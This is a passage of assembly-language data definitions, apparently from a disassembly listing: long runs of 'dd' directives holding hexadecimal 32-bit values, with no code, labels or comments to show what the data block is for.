		dd 0A06A862Ch, 9CA72010h, 8D37B31h, 188C9D3Eh, 5D089E19h
		dd 5B18F763h, 8408A454h, 86D870Ch, 0EC12404Dh, 63D49340h
		dd 0D8AC28CDh, 72670818h, 0C6A3B518h, 185B6F08h, 818F3FDh
		dd 0BD186920h, 1208C69Ah, 842018D2h, 65B2333Dh,	4DC9710h
		dd 4F06B39Bh, 0A063086Bh, 10EF4DB9h, 108E7908h,	391898CCh
		dd 6C4F3863h, 8AD91CCh,	72854049h, 402A6D40h, 1763837Eh
		dd 19906730h, 18E77308h, 94C18C1Dh, 62D1081Fh, 926118B8h
		dd 33AB902h, 818A542h, 0F9207D4Ch, 0AC648067h, 48A10C4h
		dd 86EBB06h, 20297620h,	27325D85h, 8CD54978h, 40D30820h
		dd 624071A8h, 0F181C651h, 432008D9h, 0C46C75B6h, 4F2AB40h
		dd 7E05FA80h, 8DD44856h, 83B630Ch, 83E0A8D5h, 1528C693h
		dd 74310892h, 0EF2181Bh, 890B0888h, 9A95618h, 0A29B832Bh
		dd 16950810h, 20AC602Ah, 5620FF7Eh, 78A031BCh, 3ECB108h
		dd 0D2B11008h, 0D69C1065h, 10486718h, 29CCC645h, 40A91020h
		dd 0A466E353h, 31C9C908h, 0B1060EBh, 0CF420138h, 127BA01h
		dd 88D79EFh, 0ED18CEB3h, 8AE853B9h, 8580CC4h, 28686381h
		dd 8196A82h, 0A71D411h,	7D6108Ch, 53804721h, 0CA51C8C1h
		dd 0CC47F08h, 80C17DFBh, 866B08C6h, 0F3B03318h,	0D12A9308h
		dd 3931FC31h, 680318CCh, 7657088Ch, 0C807219h, 74C780F5h
		dd 198C4382h, 31FB5010h, 0CE4014Eh, 0DBC7088Ch,	6940B418h
		dd 0E74F4013h, 4047FA40h, 6F40CC7Ch, 6C99C43Fh,	23860901h
		dd 314658D0h, 8B14B10h,	0B3188CA7h, 92D9085Ch, 7A482008h
		dd 14FC9F54h, 0FF313492h, 30BD10A5h, 0C8A39A02h, 1831A248h
		dd 82E6E176h, 10801891h, 9F107798h, 57FD195Ah, 0D8518F08h
		dd 0AA01DC45h, 0DB088C9Ah, 40F12061h, 609AC66Bh, 10ED7C31h
		dd 34010ED5h, 534601AEh, 8866CC01h, 87F9208h, 6B08A42Eh
		dd 60161C40h, 0FC9C6009h, 5FA490E8h, 7EF1881h, 0C78B4E50h
		dd 4D1FC8F1h, 473B10C7h, 0EB0275C0h, 0E896313h,	3D7AA7B9h
		dd 44010500h, 0B49408Fh, 0F77507C9h, 1E24748Bh,	0F003DE81h
		dd 1E6A6DB9h, 0F03C033h, 4304FB1h, 0B3E9AC2Ch, 7AA6AE20h
		dd 6555EB89h, 94D7A584h, 79D997D9h, 0C7365649h,	94D7CB8Fh
		dd 0FFB920BFh, 3806F74Bh, 33CB428h, 80BEB753h, 0DBD9C8C7h
		dd 68168465h, 37BB32E6h
		dd 7DC890C6h, 580575FCh, 15370E9h, 10E6816h, 59EB47C5h
		dd 0E8C3DA55h, 5A3E1291h, 9FDDED31h, 5A5BF19Ah,	0B9511C48h
		dd 9BD0C96h, 59710815h,	0BB30585Ah, 0C0AA48E9h,	31F6810Ah
		dd 3EF3295Ah, 5FF95547h, 3EAD155h, 3351E9B1h, 0B576A074h
		dd 1AF26814h, 0FDE9C7C0h, 7ED4D4Ch, 0F6A53CA3h,	0EA5DC509h
		dd 0F67BCF29h, 4D38018Dh, 0F9312F0Dh, 0BEE6F100h, 21EAAF09h
		dd 58A156CFh, 2218E9C7h, 830C6DFBh, 41022D8Bh, 0F40C41FEh
		dd 0A45CA82Fh, 7C881F1Ah, 52222787h, 0A375AB95h, 4B28FC46h
		dd 0BD061732h, 98EAF4D0h, 3203C106h, 29727928h,	84E9C2F1h
		dd 0CCBE5E08h, 2F4FAF29h, 124E84F4h, 0FD29F635h, 11D37A84h
		dd 4D12A0ADh, 1219496Dh, 0BB605476h, 0C9F5D48h,	0DC53E932h
		dd 3B4ACA25h, 0FA561E33h, 258A76FAh, 4ABD89D8h,	22F80373h
		dd 37F5B016h, 398D307Ch, 71CA818h, 15DD6050h, 0CAC42F06h
		dd 9C63C9E9h, 67696F3Ch, 0D85B02C1h, 0D5DF8A61h, 0C98DC0Ch
		dd 62FE0BB8h, 8C7CAFA6h, 0F170C191h, 54146ADCh,	1012E201h
		dd 1C3C5B42h, 0AC12AE94h, 681FC6ACh, 361867F7h,	290014CDh
		dd 0FFB85067h, 0C869DA60h, 0D10E3F76h, 0E15AE5EAh, 0C908A42h
		dd 0F3617D98h, 6361D0CBh, 6E7B9BA0h, 525A6AA8h,	7021569Dh
		dd 10DFF9E1h, 2C592903h, 0EFD88336h, 5DA06842h,	5724946Ch
		dd 614226B4h, 0DD560907h, 0DB05F948h, 83BF197Bh, 20A2E1DAh
		dd 46186DDh, 63A40912h,	23A394h, 0BEDAE950h, 1C2845DFh
		dd 83C124A4h, 0C9FE47B1h, 0C130041Ch, 8608C89Ah, 0F6C9286Ch
		dd 2AE59504h, 48F0E90Dh, 0B55DE120h, 9FEB641Bh,	0C4C7614Ah
		dd 84384C83h, 0A72E3BEh, 0CD25A468h, 175E046Fh,	49B27D1h
		dd 0B4BA4081h, 2469FD3Fh, 0D4240D6Fh, 0D112770Fh, 16EDF9E0h
		dd 0B05D1AF0h, 58002547h, 0C169482Eh, 5F4005E8h, 8309C450h
		dd 60CE4A8Ch, 680568B5h, 8C3A4E82h, 9B602259h, 8DC38010h
		dd 75E37528h, 5487FAEBh, 190AE323h, 0AB313A68h,	95123B4Ah
		dd 5501CBCAh, 3A3BB3BDh, 0AE5F06Ah, 1D357812h, 18FC9A01h
		dd 0A32E7C60h, 0DAB95BABh, 21AA407Bh, 2E58C530h, 0FD800984h
		dd 0F8302530h, 7BC0B563h, 6B48FFE9h, 37E4D843h,	0D4C2FD26h
		dd 0DB047A93h, 5D350F70h, 401FF58Bh, 0D39E810Fh, 0DB4E81B9h
		dd 0E60105FFh, 37AD2384h, 6946F02Eh, 0BF315640h, 58C28501h
		dd 0FCC04521h, 5907D91Ah, 50ABF76Fh, 69E7C9F2h,	18533C91h
		dd 0C7AB83A3h, 35231832h, 67950C6Ch, 5239A52Ch,	0B4B45FC9h
		dd 2C79620h, 2003F280h,	605F5AD4h, 14ECD01Fh, 0EF1735E9h
		dd 51065F8Ch, 0B13D64B0h, 1C1267Eh, 0DF59CB09h,	20BD3F61h
		dd 4D4D97A1h, 94094BEAh, 34939133h, 5780F233h, 6E319FBFh
		dd 44E97A0Ah, 0EA81C81Ch, 0FF300F9Eh, 302ACF25h, 0EE957FAh
		dd 0EC54CB40h, 0AB064A01h, 20C65E54h, 45A9024h,	0BB8E4F73h
		dd 3A108729h, 90CB08C9h, 0A1968522h, 55FB8E89h,	45C7CF98h
		dd 215B8CC5h, 0A35A14ECh, 0F3098442h, 1B4FD191h, 56241B63h
		dd 2FEF3A6Ah, 0AE5DEE44h, 0E9A382B2h, 0F1CCC192h, 63D71731h
		dd 307B126Ah, 0D943FFA8h, 0BEAC1F5Ah, 4B5E1A1Eh, 208E4120h
		dd 0FE85E964h, 0C7B37C16h, 62952CDFh, 90098411h, 0A2445639h
		dd 845D780h, 414201A4h,	0EFD8A049h, 489C253Dh, 28597245h
		dd 5352E903h, 0F3A9B17Dh, 252ABD1Ah, 679DE2DAh,	0ACE985F7h
		dd 0EFAAD272h, 3B6AE180h, 0F7012EFAh, 8CC635D8h, 0E07FE7C2h
		dd 4B25E919h, 9E70F10Fh, 81948B5Dh, 545D99D7h, 0D34EF37Ah
		dd 12C1200h, 27E96B95h,	0E6D47099h, 727A0B52h, 0B515F038h
		dd 82727C99h, 71BBBED1h, 0F6C64029h, 680DC2BFh,	26683998h
		dd 14B1FF8h, 0F770B5A6h, 0EFA48678h, 5F9AF482h,	0B28C8E51h
		dd 9B94027h, 1CD87692h,	0C901C576h, 3A785907h, 0BE08132Ah
		dd 9526088Ah, 0E4D081DEh, 3A6CB551h, 98EC4BA4h,	0C4E1E7E3h
		dd 4C2CE9D4h, 0BB8EC9F5h, 16268BE6h, 0C4E46B41h, 60153D59h
		dd 4093F216h, 17A0B9C0h, 82C90AD9h, 60C0B02h, 95B04AC9h
		dd 785E10E2h, 0A1D81409h, 0D003E62Bh, 0B937042Fh, 6706AB28h
		dd 9065BEBh, 422068DBh,	0D8C8815Eh, 0E3356A02h,	0FC73F239h
		dd 15075837h, 28A4EA03h, 18042E22h, 66AB36C4h, 9C6F3701h
		dd 72F60017h, 1B225B6h,	2D5940FCh, 0D7F0B23Fh, 52B4F0ACh
		dd 815215FFh, 0EE22C103h, 0CDF1B51Dh, 6FF7259h,	69E5146Fh
		dd 97AF00Ch, 0ECE94C44h, 6F5D3141h, 305423C0h, 0EF094CFEh
		dd 0E701AE22h, 21FB2B0Ch, 1E7ADFF7h, 76BBF9FDh,	2F51617h
		dd 0BA1BE9DAh, 0B0BCC475h, 64CD20FDh, 93985050h, 197E2D06h
		dd 5E0B97B8h, 0C546C031h, 0F21D5C1Fh, 0CFA8012Fh, 2CE1CC20h
		dd 0D998852h, 0DCEF0593h, 3DBA8156h, 7047062Fh,	7C351E6h
		dd 2DA0447Fh, 719CFE4Bh, 6EE24C1h, 0F940213h, 5A404355h
		dd 0C52533ECh, 49285D23h, 4E8000A2h, 0CE018F91h, 0EE055979h
		dd 72DB5AA0h, 68C602EEh, 6D46718Eh, 636BE2C2h, 0E02AE286h
		dd 4B132BE4h, 0D2F2E201h, 0E8EF53EBh, 0CA3EB9AEh, 39BE4E4Fh
		dd 42A6D95h, 214FE9C3h,	8110A4CDh, 924E5968h, 0DB962AE3h
		dd 0BD109DFDh, 6F4C1367h, 64CB0587h, 0EBC348A5h, 413313D5h
		dd 851EB8F8h, 8DEF2D68h, 96DC01B0h, 5AE37A03h, 1855B64Ah
		dd 581E2ADCh, 0A5B2A68h, 81C4951Eh, 0A04D2F90h,	78954CBCh
		dd 0A340B428h, 9D24258h, 20736E27h, 20614940h, 0B9E92C3Fh
		dd 0E2BF8192h, 2F2C5212h, 0A931FA00h, 6938E920h, 0B2FDED36h
		dd 9851CCF5h, 0D36366E7h, 0E45F0C5Ch, 0E4E757ACh, 3F7B8BCh
		dd 0B5FE892Dh, 2CA7D1FCh, 0CC058105h, 409559F9h, 5B37568Eh
		dd 7DD83137h, 62BBE961h, 7D61303Ah, 1C7DB616h, 0B67EB72Ch
		dd 69398488h, 0CC26CEDCh, 0B9354E00h, 255E0CCDh, 0A8723149h
		dd 0C51E6A00h, 0C4E9561Ah, 6971B502h, 0D3C1C092h, 0F0884D5Ah
		dd 0FF20C34Eh, 0A51C660Ch, 129A6071h, 0EB463473h, 48848C05h
		dd 0B9D6FCD3h, 0EB24F479h, 0B0B25AB0h, 820722Bh, 4B6398F8h
		dd 3518ACC0h, 0B9015FBAh, 4E558EEh, 292A042Eh, 4102F6FAh
		dd 9CEC3A10h, 22B46882h, 5E9C80FFh, 171D9517h, 565130E9h
		dd 149BACBFh, 4EFE48FAh, 0BEF03DEBh, 71585D2h, 38C0C108h
		dd 551EE943h, 0E205867Ch, 0FBE78DBBh, 0DD4835EAh, 521210C6h
		dd 0EF774Ah, 337546EBh,	0A4EE940h, 20296516h, 1067CB6Ah
		dd 680B9AC2h, 11D32232h, 8674E941h, 2BC1BE07h, 30237A22h
		dd 241E1548h, 0B4FC3260h, 8BBB22A6h, 42F65673h,	400F1090h
		dd 0E94C674Ch, 8317E33Dh, 506FED75h, 0CE884C03h, 9421278h
		dd 0DD5CAB61h, 0A4640FC2h, 0BDE88416h, 135CB14Fh, 0C271BCCCh
		dd 0C185B652h, 0F4C1ECA3h, 0C0883F20h, 7E29ED59h, 0F5EC6322h
		dd 0CF64E012h, 0F813501Eh, 42C6D0B8h, 350B1014h, 8269D670h
		dd 7F27A3h, 1068E2D1h, 69923E3h, 9CFBE952h, 7C5B6612h
		dd 4A58E835h, 0C37578E4h, 9B282A98h, 0D19F8232h, 0FB442DF9h
		dd 0D651B62Dh, 2456CB8Bh, 7F7D73C2h, 207D719Ah,	0A9268085h
		dd 5799F7Fh, 1391384h, 56C0BCF9h, 2D030EBEh, 0B2A96D50h
		dd 35496303h, 1836F0E9h, 43FF5230h, 2392730Fh, 0DAEBD0A0h
		dd 27C56881h, 1040F73Fh, 0E9E03EC2h, 0AC22D61h,	0E155D0F7h
		dd 101DB91h, 46828AC6h,	5812BD32h, 9505A0FCh, 0B85A5912h
		dd 0BC2D01A3h, 894A9C86h, 0CF56C230h, 2F8E0E24h, 1909A8B6h
		dd 88529612h, 19C1872Ah
		dd 382A629h, 9CD37FD3h,	445056ADh, 0FB03BA07h, 0C17F6D30h
		dd 747B50E3h, 1DBEAAAh,	4D8BC84Ah, 0A1971792h, 0FE46B3CBh
		dd 0E4491A89h, 0C121B8DDh, 0DB3D1212h, 0DBD7FA1Bh, 0D7F4D752h
		dd 0AFD44B2h, 5B250404h, 0CEE98489h, 0D58AEEE6h, 0E3312A14h
		dd 8C50294Ah, 67AAE9D5h, 46780F68h, 0F5452D45h,	8BFE5D12h
		dd 93D65859h, 9B752EBh,	39C1D97h, 0E91A8BF2h, 0C022FCE8h
		dd 0C9A106B2h, 1F84DDA1h, 0ED8003EBh, 10798769h, 0B111764Dh
		dd 31BC086Dh, 0CC122Dh,	1D0AFEF0h, 7929694Bh, 1709BE82h
		dd 0FB20C608h, 137A714Ch, 65C15AD5h, 0B204F856h, 0F4D894Bh
		dd 514543F5h, 5D2E2529h, 0B7F445C2h, 38836D2Fh,	9B04A5Eh
		dd 4013A19Bh, 0DF68F9F7h, 85AB085Dh, 0FCD03DE9h, 92333BBh
		dd 0D92914A5h, 165D8104h, 0F37FE6D9h, 2F5512B6h, 0B504AEE3h
		dd 0AE163E79h, 8EEA5D35h, 0E9590492h, 3A90AF9Dh, 48762FA0h
		dd 0C505FC22h, 0EF29EB4Fh, 0A0C40849h, 609505DFh, 126176Eh
		dd 0B97B34F8h, 0F38B10F1h, 6559B44Eh, 29204476h, 0FA51F6F1h
		dd 0B3145EF7h, 0CDB27A9Eh, 5AF3881Eh, 2CBFCAFDh, 0CA4E68C6h
		dd 0AE936DACh, 0EDE52F6Dh, 910B36Eh, 0D743FEE9h, 8AFCD39Ch
		dd 26170A48h, 0D60B5EB6h, 7968E42Eh, 419F3750h,	0D9873212h
		dd 0D1E8A1D0h, 6F3089FBh, 0DA94FF83h, 0A5105E97h, 2275977Dh
		dd 826817EDh, 0AEAE627Ch, 835B0060h, 0D80E95Eh,	4C6F451Eh
		dd 89540322h, 4D467F59h, 660F0F82h, 0BCD4DBBAh,	535A0663h
		dd 47FB89D1h, 6DE46CAh,	0E95EF52Eh, 7CF63862h, 94FB641Ch
		dd 9480040Bh, 0DFCBD18Ch, 5DFCCE87h, 2F04D83Bh,	0B0867AA9h
		dd 2D7BF077h, 0EE7649CCh, 2FF6A08h, 6E3A9A2Dh, 35E51040h
		dd 0DB897BB2h, 0BE22059h, 700E3804h, 2D8629E9h,	3683B79h
		dd 3B394161h, 0C47FE844h, 5CB80480h, 41202B53h,	0C731471Ch
		dd 6108F89Ah, 96709707h, 0DF8F829Eh, 5F1B6EE1h,	0EBE12E3Eh
		dd 0BE5E58B0h, 432E3C7Ah, 85008753h, 4652781Eh,	5A49850h
		dd 674901CCh, 0B8B7C556h, 0F85F2D25h, 6D609598h, 475C9D20h
		dd 51406FDh, 0B00C2C7Dh, 7C76F42Ch, 548B8C1h, 456695CAh
		dd 6F9FF417h, 9016123Dh, 2D17D601h, 68B13191h, 38D87F18h
		dd 87131E7Bh, 14F7C90Dh, 3A5DE391h, 18C637B2h, 0D995DC3Ah
		dd 8C94FDCh, 0F0B6E0A7h, 805AF528h, 528BCD0Fh, 9366FEB2h
		dd 3B8FD725h, 0C5E1B1EFh, 73E830B0h, 4C371C3Eh,	0D434D727h
		dd 1D0A2290h, 0D44B9E03h, 4E7A508h, 828BFA01h, 0F5AC2B05h
		dd 0D158C380h, 0F54E1028h, 0D02D5800h, 894B2445h, 6029E1FFh
		dd 20956614h, 2FC1C7FCh, 46763Ch, 948DBEFh, 0EA41E969h
		dd 89B1E89Dh, 0A6685CE5h, 0BE46305Fh, 81FEA93Ah, 7FCAEB06h
		dd 0BAE285Dh, 634459CDh, 0F5628B55h, 51D16DA0h,	70B7662Dh
		dd 2848D234h, 6EF8684Ch, 4D0068BBh, 0F71FD918h,	5A6490DEh
		dd 3BC91D5Dh, 80AC2424h, 6B06856h, 5E7739A7h, 654989FAh
		dd 41D11CB3h, 0FF038153h, 145704Ch, 3E721C0Fh, 0F9CB0906h
		dd 0B87F3C0h, 2D3F4B65h, 43570488h, 12EA57C5h, 13C098Eh
		dd 0FBBC6855h, 85F13D6Fh, 85CCF95Bh, 0D91D505Fh, 2030CA3Fh
		dd 0F81C4709h, 0A00596DBh, 1B799D94h, 21896727h, 25A68A93h
		dd 995430Dh, 8EFE36D2h,	0E4B11309h, 62C7F07Ch, 44583986h
		dd 5DB3AFB0h, 81251000h, 53754EEEh, 53F1B53Fh, 3CF5E0A0h
		dd 6D9D06B6h, 509C0784h, 35E907C6h, 0AB2CC2EEh,	0E90B48DEh
		dd 59A83039h, 0C03316E4h, 42B35320h, 7E38012h, 5C05E0Eh
		dd 0A6BC5BDEh, 34B2E718h, 0D39FD821h, 0D3762768h, 3EF36885h
		dd 0BB4E83A3h, 0D631C005h, 1692AAA2h, 1DD713Bh,	92D12ECDh
		dd 242D7450h, 1ED0EC1Ch, 0CF3FCCE1h, 3FB0D116h,	3D6FCB0Ah
		dd 0C301848Bh, 1455589Ch, 16B40320h, 0BF37FC2Bh, 77A4D510h
		dd 0B8C4462Eh, 7F0D1109h, 1C4E0694h, 0DDD3FAF8h, 1D9F6AE9h
		dd 2F27354Ch, 0CA42CC71h, 5FBF00FFh, 374BBB25h,	900106FEh
		dd 2C3B2485h, 39469764h, 523A32EAh, 0C2953C5Fh,	4D25E9B7h
		dd 58B52849h, 15FEB9BEh, 90574930h, 5D61CBA5h, 90408EFDh
		dd 8F1414D9h, 1775A24Dh, 0E73962Eh, 4964EDA3h, 0E98B1888h
		dd 34204A4Ch, 93F3BAA8h, 0BB64914Ah, 71870589h,	0C8434072h
		dd 72729A43h, 514E3E14h, 26B0A619h, 0AF68C45Ah,	14DD7D5Ah
		dd 0EE04FEC1h, 18BB68B0h, 11672E03h, 5160DC6h, 40EE6B11h
		dd 66501729h, 0C7BF5B1Eh, 0C0ADC9h, 0FF260236h,	0F0A9BC17h
		dd 1732C625h, 0BF1347E9h, 54200628h, 0EE58D575h, 0EC575BFAh
		dd 5906DAC8h, 243CC4FEh, 674440C5h, 0C2BC015Fh,	0BE48A613h
		dd 0F01A32Ah, 7168C8BEh, 17A36603h, 0CF350C60h,	0EF925DEDh
		dd 7099D292h, 2F8FB9CFh, 0FB2D73D6h, 0BCE91EA7h, 0EBB81EE0h
		dd 187AFB38h, 0A06D5227h, 0F9A92517h, 0BFEBE201h, 1BE93F22h
		dd 7521485Ch, 450F5B26h, 57EABA51h, 24083888h, 0BAB4282h
		dd 0BC39A154h, 370D1EC8h, 1A621B26h, 84750BF5h,	0C0A8FFCDh
		dd 2CD65D27h, 9B1684B9h, 0EC845A5Fh, 39B80717h,	51139D5Ch
		dd 0F670A854h, 207C90A9h, 7ABD13D2h, 736C2084h,	6BF06EB2h
		dd 68A9226Ch, 4B627C02h, 0C301FC35h, 873344E9h,	44A55909h
		dd 0FC8AAF55h, 0F05CA35Dh, 8959E9C6h, 517A399Dh, 0C95A498h
		dd 281632BDh, 0ABFC744Bh, 9C53A680h, 554D4524h,	94F7310Bh
		dd 758AB1FCh, 5A815BD8h, 3DFAF5Dh, 0A838AE3Ah, 483D6DF3h
		dd 55002448h, 2D40CA7Bh, 0DCF942B6h, 550D029h, 9EFA5A07h
		dd 0B8350401h, 14DAEA81h, 780130C0h, 840E5C2h, 4B136858h
		dd 101AE35Fh, 0A85FA6ABh, 5BB34AECh, 43DE870Fh,	0F336FF9Ch
		dd 9532FE08h, 0DF5D2224h, 2318B8A1h, 0C08970C5h, 0A17F4941h
		dd 0F03C4080h, 9726791Bh, 0E634B109h, 9C97AF1Dh, 7671AE20h
		dd 0AA74400Fh, 69F55712h, 40C8EA0Bh, 0BBD5548h,	331E10C4h
		dd 60B516D0h, 22A3F4Bh,	0E9456994h, 41C8ECA3h, 0F72548E8h
		dd 676071D0h, 1C684261h, 0BE34D776h, 5FF2482h, 326CB458h
		dd 0F29DBD60h, 0D689AE5h, 5AD129A3h, 0E8303106h, 6C60D76Eh
		dd 0F91C2F0Ch, 2521FE4Ch, 35C959C8h, 0B8935472h, 0DE21D21Ch
		dd 4F7654FEh, 0F112E503h, 9210314Eh, 5B3B509Dh,	718DF313h
		dd 4C80116h, 978F488Ch,	0E469CED9h, 0DF6FBD12h,	810CE90Ah
		dd 13FD5997h, 4BB2E9E3h, 87E4B855h, 0C7E69F3Ch,	735970E9h
		dd 4EE6E926h, 624D2C38h, 136C3A05h, 0EEE10AC0h,	57C9257Ch
		dd 1A33F08h, 43A6120Dh,	28FEE9E9h, 0BF5780F7h, 1AF46ACAh
		dd 0BCEB864h, 0C839A95Fh, 33E959C2h, 0E59326CBh, 0F554EFBAh
		dd 0BB205828h, 138983Bh, 0C494297h, 0C458202Dh,	0F52CE96Ch
		dd 5D6511F6h, 29B864AEh, 685C309Eh, 1805D44Bh, 63F0DDE9h
		dd 85A09B8h, 0DD841D72h, 0EED102A5h, 2285F746h,	0AFB35226h
		dd 3868E42Ch, 0FE4F5D1Bh, 0A0003339h, 168E6608h, 0FCC18332h
		dd 63E50245h, 404A69E1h, 2D48D655h, 62E40AC2h, 3080E917h
		dd 0A600B789h, 5E6C138Ah, 48D5E970h, 0F22E20F4h, 58ABFD5h
		dd 88CD81B0h, 827AD24Fh, 987734FEh, 0EC895D5Ah,	29938557h
		dd 0AD4F3CE9h, 0EF81E516h, 313ED177h, 73470307h, 52884BF7h
		dd 5449CB3h, 825DEF31h,	3E528796h, 10D7616h, 0E32A2CD9h
		dd 60BE89B6h, 72C7B7F7h, 128074FEh, 5FD2838h, 0D93D1BAAh
		dd 0E5D4E49Dh, 0DE883AC7h, 7C4F2272h, 3AF789D9h, 7569C1DCh
		dd 0A5F579C2h, 0C8F86627h
		dd 199673Ah, 5EE10DEh, 0ACAE98BBh, 0C4ACF65Eh, 4FB7BAA6h
		dd 2B68848Ah, 6962EA09h, 0BDE68052h, 30335962h,	310BB9BAh
		dd 2D005FFAh, 4F90189Ah, 9752D1E9h, 42C2903Ah, 0DB38B174h
		dd 0EEB4C9E9h, 0E4FD2D52h, 0A7BC1884h, 5D9540B4h, 0EA19B563h
		dd 47E7815Ah, 123D2530h, 940FEF4Bh, 0C812C750h,	29B95727h
		dd 29687001h, 6212F9BDh, 0C5DD565Dh, 6DE961EBh,	68CE508Eh
		dd 81E970B8h, 538BB6BDh, 0F942E3B7h, 0C25E0436h, 58012CB8h
		dd 0C02FCD01h, 2B985037h, 0C30918BCh, 0B1B2DF0Ch, 48BA45D7h
		dd 5F540BA2h, 0F14BBCF1h, 0AD688573h, 418BAA6Ah, 5F005725h
		dd 7C974268h, 7EC5E68h,	88945F13h, 9AEBB3C4h, 0ED3F2C2Fh
		dd 5BD64898h, 6F5E2432h, 0EB70333h, 0C0B356Dh, 55C64BF1h
		dd 3FEBE30Ah, 783EA6DAh, 8D759707h, 3CC4E923h, 1799FC12h
		dd 0C99009BCh, 0BD751B9Bh, 0DCB18C60h, 2DF5F2Ch, 660B1F10h
		dd 0DF86805Bh, 0F1EC46C0h, 39E0C2F3h, 5A26F788h, 7F0C47F6h
		dd 4C5052EDh, 0CF01D857h, 893E6109h, 0B75E70C7h, 25E92140h
		dd 0FF74FAB0h, 0A7A251EBh, 485D84C2h, 25D20DBEh, 3BE22093h
		dd 64011BF2h, 0E970FE54h, 0A27F25E5h, 0B459786Ah, 0F2291E1Ah
		dd 0CB685100h, 5E17B92Fh, 6CEBE059h, 0A952C8BFh, 0DEC58854h
		dd 0CBF80AD6h, 58E833F1h, 0F49D565Ah, 3A5C59D4h, 21287BA6h
		dd 2E104523h, 0B32A7D39h, 9D022241h, 0F405AFE0h, 28EE8EA9h
		dd 0F4D1D276h, 0F905F125h, 12C25876h, 0BF548071h, 0A2160740h
		dd 42C292ECh, 0DED4680Eh, 5151BF5Bh, 0F2A5E9C1h, 99C717Eh
		dd 0F1603BD9h, 5E35C6E9h, 6F8FA189h, 3D1499B0h,	5FF1C2Dh
		dd 336431EDh, 5B46B765h, 0C8E8C521h, 0A29CFC8h,	2CABE9EAh
		dd 0BEB816DEh, 13149966h, 0C879DA68h, 0BE1D66F1h, 7027591Ch
		dd 0FE09033h, 502C61F6h, 4B28B8C3h, 75720DF0h, 5E824C6h
		dd 0C7F4B010h, 0C3172408h, 4C4A7C35h, 6A9021EFh, 4C1B3761h
		dd 0A2605E3h, 0C0AE3F98h, 0CB0C53F9h, 41AE064Eh, 467984EBh
		dd 0E20C8355h, 0F39920C0h, 0CAEEF5F8h, 822B3B37h, 56E9125Bh
		dd 59676A82h, 0FB018754h, 525B1203h, 0FE90BD5Ah, 0A5A2092Dh
		dd 92403011h, 0A63A055Eh, 2996140Eh, 0AC10FEC1h, 0B32D02F2h
		dd 0C31DF926h, 74DF1132h, 33F22C03h, 4EAF0814h,	995738EEh
		dd 0A57F5D58h, 3CAB5553h, 2C87E945h, 0B5824213h, 5928A6E6h
		dd 0C2BDFB56h, 0AFC77D74h, 59827EAFh, 20147564h, 690F7460h
		dd 844210C1h, 0EE91D49Bh, 0BE6327CDh, 56F5B801h, 3C403FBDh
		dd 841801CCh, 0D0F79115h, 605950E4h, 2824BE58h,	0CC12261h
		dd 6052786h, 97D0FA47h,	98BA2934h, 3C645907h, 1AD8EC4Eh
		dd 7F111D46h, 30BEC40h,	574E919Dh, 0BEA927E4h, 29CE8894h
		dd 3E93B81Fh, 0DCC38C12h, 9F18EE2Bh, 0DDA53CD9h, 1C9EDA83h
		dd 8FB26350h, 444C7416h, 2D0AC4B0h, 6F5C5217h, 2AFB8B8Ch
		dd 3B640F05h, 0AF457A29h, 3764B4F4h, 45CD260Bh,	0C3107D5Fh
		dd 992C7140h, 9502196Ah, 0C01E8075h, 80E5E7F8h,	3B13822Dh
		dd 7A01119Fh, 509C0DB6h, 3C3B820h, 95C3E45h, 0FEEAE9F0h
		dd 0C1314F5h, 0EF93F7Fh, 8670C47Eh, 83A8B95Eh, 123DE982h
		dd 5B5EABE8h, 4C4D69E3h, 4FD8005Ch, 0E905E6C1h,	0FA065187h
		dd 9418A2Fh, 0FA4C2F68h, 84ED65DFh, 99B6055Dh, 95CBBE63h
		dd 0A859D815h, 0BCE83113h, 6E5B0778h, 0A6F27BB0h, 0A2EEFDF7h
		dd 1CE0789Fh, 457760EFh, 407261E9h, 4997E5AAh, 0CC11EAFh
		dd 28013E93h, 30C98030h, 0C5AC7573h, 9C068EB6h,	0D7CE996h
		dd 0BC5C9DC8h, 0ED325B79h, 2980DC16h, 7FD16E0Fh, 0FB140223h
		dd 6BADCF75h, 1F01C44Ch, 0E927A431h, 312A2C07h,	0FFEC56F6h
		dd 80F1069Dh, 0E72845EFh, 3F5F38E9h, 0B61020B6h, 56582FE4h
		dd 1A7552BAh, 5031DD17h, 72B37AF1h, 2038B1D3h, 26949E60h
		dd 9C0F9A7h, 88B314B3h,	1287E2FDh, 45CC17B8h, 9AEA645Fh
		dd 78B08746h, 0E4F7502Dh, 3510F4Fh, 94C55556h, 2CEE8838h
		dd 0D3D24DF0h, 0D9B2CA67h, 51E4FDC7h, 0D89DDDF0h, 0BDE59FF4h
		dd 6CD6010Bh, 8EF72069h, 5D3ABE04h, 0D3803FBBh,	50346B2Ah
		dd 13F5FF42h, 0BF0AFD3Eh, 0A7BB1Ch, 25F0BF29h, 0D21748D8h
		dd 0BE70F135h, 2030F58Dh, 0FA238A66h, 7510759Eh, 5022390h
		dd 9FDFF330h, 48B99A40h, 0E94871F2h, 8B834A0Bh,	5C6EF802h
		dd 5F249852h, 97EFB8E6h, 0EDD023E6h, 9963E4Ch, 0B9D1571Bh
		dd 7E28BD1Ch, 20614325h, 34AD3CE9h, 8DC0B5D8h, 1BC0F34Bh
		dd 4CE617F7h, 9F62B549h, 0E9639751h, 9E129E96h,	0AE2165FBh
		dd 5B8C095h, 4453B784h,	0F83440B4h, 85E9C27Ah, 81C7D5C5h
		dd 880425B4h, 0FB12E790h, 0E413871Eh, 8CB8D457h, 0C02C3250h
		dd 1F80C6C5h, 0F89F9F44h, 0B584BCEh, 5C0B117Ah,	0D661C93Ah
		dd 9B133AE0h, 0F2F921E0h, 0B006BAEDh, 3C483E4Fh, 0BDC72196h
		dd 9B5C75E6h, 0D7F71F5Dh, 292B6859h, 5FB58647h,	3E762C1h
		dd 29D5DA96h, 0F4E6FCAh, 0F4527D92h, 85DE5073h,	0B09474FBh
		dd 57B05162h, 0B55C4140h, 0E0FDC2C2h, 8A23116Ch, 982E6075h
		dd 0EF2E9A0Ah, 4267D96Bh, 9FC02778h, 5C3B41C5h,	54DD87Eh
		dd 72153B59h, 29F48C2h,	0F063DF21h, 1366129Dh, 6138BB31h
		dd 0F3E8975Ch, 0F8A81170h, 6C9764DDh, 87364BE0h, 0AB589553h
		dd 0EAD61DA6h, 0EDCE1361h, 0B988BA05h, 0AE6412F9h, 0FEA1CD1Dh
		dd 7B0F3D41h, 6FB7C001h, 81E3C780h, 0E5D85BFDh,	50C5F285h
		dd 7323BE32h, 0ACC0A328h, 1A52CBEBh, 1EDABFAh, 289C50BAh
		dd 0A92E6B60h, 0F13ADFB4h, 9DE27D2Dh, 57E866D7h, 885216C1h
